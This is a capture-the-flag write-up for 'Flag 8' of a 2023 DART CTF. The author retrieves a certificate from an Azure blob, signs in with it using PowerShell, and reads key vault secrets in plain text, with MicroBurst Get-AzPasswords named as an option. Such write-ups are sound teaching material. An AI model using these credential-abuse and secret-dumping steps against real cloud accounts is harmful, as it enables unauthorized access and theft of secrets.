> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2023/dart-ctf/flag-8.md).

# Flag 8

Continuing where I left off from Flag 7, I retrieved the LORRI-Cert.txt

Request

```bash
curl --location 'https://coresat.blob.core.windows.net/datahandling/LORRI-Cert.txt' \
--header 'Authorization: Bearer ${token}' \
--header 'x-ms-version: 2017-11-09'
```

Response

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2FOLq2vhxvrZ1JGTkfzDCj%2Fimage.png?alt=media&amp;token=22baae4e-200d-49b5-87f9-e3766406fe1b" alt=""><figcaption></figcaption></figure>

I saved the response to a file, and opening it using notepad shows a bunch of base64 encoded value. As the file name suggest that its some kind of certificate, more googling needs to be done.

The article from[ Azure](https://learn.microsoft.com/en-us/powershell/azure/authenticate-azureps?view=azps-9.5.0) shows how I can authenticate with the cert.

{% embed url="<https://learn.microsoft.com/en-us/powershell/azure/authenticate-azureps?view=azps-9.5.0>" %}

ChatGPT also helped out by giving step by step instructions.

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2FkmgL4vDSXi2bAYg1lsB3%2Fimage.png?alt=media&amp;token=ed016a04-04b5-4ceb-b399-16634b14db87" alt=""><figcaption></figcaption></figure>

The Application ID is retrieved from the current version of `OSIRIS-REx.txt` found in `tsarray` stroage account at [Flag 2](/ctf-writeup/2023/dart-ctf/flag-2.md).

{% code overflow="wrap" %}

```powershell
Import-Certificate -FilePath C:\Users\Edwin\Desktop\cert.pfx -CertStoreLocation Cert:\CurrentUser\My
Get-ChildItem -Path Cert:\CurrentUser\My
Connect-AzAccount -CertificateThumbprint "208AC4D5170A93061432E06C16F573E776E6180C" -SubscriptionId "7b9bd916-8bd2-4446-9678-8531ef663edb" -ApplicationId "6de8103e-049a-4f88-9abf-41099a79ca53" -TenantId "5f487283-b88e-4ade-8035-7bcaac4156b3"
```

{% endcode %}

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2FGpLcxF3PUZ4tunthUrpk%2Fimage.png?alt=media&amp;token=078ee88e-e83e-4498-90a7-1de6313a1906" alt=""><figcaption></figcaption></figure>

Running the `Get-AzResource` shows that I have access to an Azure Key Vault.

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2FoFsPcayHJpv6eafFPgkz%2Fimage.png?alt=media&amp;token=e32c5fda-c2b8-404a-9644-807f2577f56a" alt=""><figcaption></figcaption></figure>

Now, I can either manually enumerate the Azure Key Vault, or use [MicroBurst](https://github.com/NetSPI/MicroBurst) `Get-AzPasswords` to list the key vault secrets.

```powershell
Get-AzKeyVault
Get-AzKeyVaultSecret -VaultName cubesat

Get-AzKeyVaultSecret -VaultName cubesat -Name Flag8 -AsPlainText
```

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2FFaaGWzjJdiGDnyoRlACZ%2Fimage.png?alt=media&amp;token=8e71fcb2-3b81-42a0-a97d-167f395fd31d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2F0Gfc4DGHbVUCKEZR73lY%2Fimage.png?alt=media&amp;token=ed8ad7c6-6de0-4d50-857e-a4da9e9e66cc" alt=""><figcaption></figcaption></figure>

Flag 8 : DART spacecraft has entered final descent.